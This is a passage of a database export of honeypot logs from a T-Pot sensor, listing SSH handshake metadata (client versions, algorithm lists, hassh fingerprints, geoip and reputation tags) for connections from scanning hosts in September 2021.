"diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "55f7e1f1d9b7", "@version": "1", "timestamp": "2021-09-20T11:14:55.822521Z", "@timestamp": "2021-09-20T11:14:55.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27550	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:56.558469+03	2021-09-20 14:15:14.729644+03	{"_id": "sQbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9ff1d39e97cb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:56.558469Z", "@timestamp": "2021-09-20T11:14:56.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27551	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:56.679666+03	2021-09-20 14:15:14.730646+03	{"_id": "sgbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9ff1d39e97cb", "@version": "1", "timestamp": "2021-09-20T11:14:56.679666Z", "@timestamp": "2021-09-20T11:14:56.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27552	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:56.685966+03	2021-09-20 14:15:14.731646+03	{"_id": "swbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ab0dd4afbe8c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:56.685966Z", "@timestamp": "2021-09-20T11:14:56.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27553	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:14:56.558163+03	2021-09-20 14:15:14.733646+03	{"_id": "tQbqAnwBvYTbRNuEiCi8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 146997087543167, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36948, "dest_port": 22, "timestamp": "2021-09-20T11:14:56.558163Z", "@timestamp": "2021-09-20T11:14:56.558Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27555	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:14:54.041663+03	2021-09-20 14:15:14.735646+03	{"_id": "cQbqAnwBvYTbRNuEfij5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7c3eba3f4b73", "@version": "1", "timestamp": "2021-09-20T11:14:54.041663Z", "@timestamp": "2021-09-20T11:14:54.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27556	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:14:53.768441+03	2021-09-20 14:15:14.737644+03	{"_id": "dAbqAnwBvYTbRNuEfij7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7c3eba3f4b73", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:14:53.768441Z", "@timestamp": "2021-09-20T11:14:53.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27557	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:54.563654+03	2021-09-20 14:15:14.738645+03	{"_id": "dQbqAnwBvYTbRNuEfij7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6e49fc325f15", "@version": "1", "timestamp": "2021-09-20T11:14:54.563654Z", "@timestamp": "2021-09-20T11:14:54.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27558	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:14:54.51867+03	2021-09-20 14:15:14.739646+03	{"_id": "dgbqAnwBvYTbRNuEgCjq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1685389948325836, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53020, "dest_port": 22, "timestamp": "2021-09-20T11:14:54.518670Z", "@timestamp": "2021-09-20T11:14:54.518Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27559	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:14:54.562954+03	2021-09-20 14:15:14.741646+03	{"_id": "dwbqAnwBvYTbRNuEgigk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53020, "dest_port": 22, "timestamp": "2021-09-20T11:14:54.562954", "@timestamp": "2021-09-20T11:14:54.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27560	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:54.521491+03	2021-09-20 14:15:14.743645+03	{"_id": "eAbqAnwBvYTbRNuEgigk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53020, "timestamp": "2021-09-20T11:14:54.521491", "@timestamp": "2021-09-20T11:14:54.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 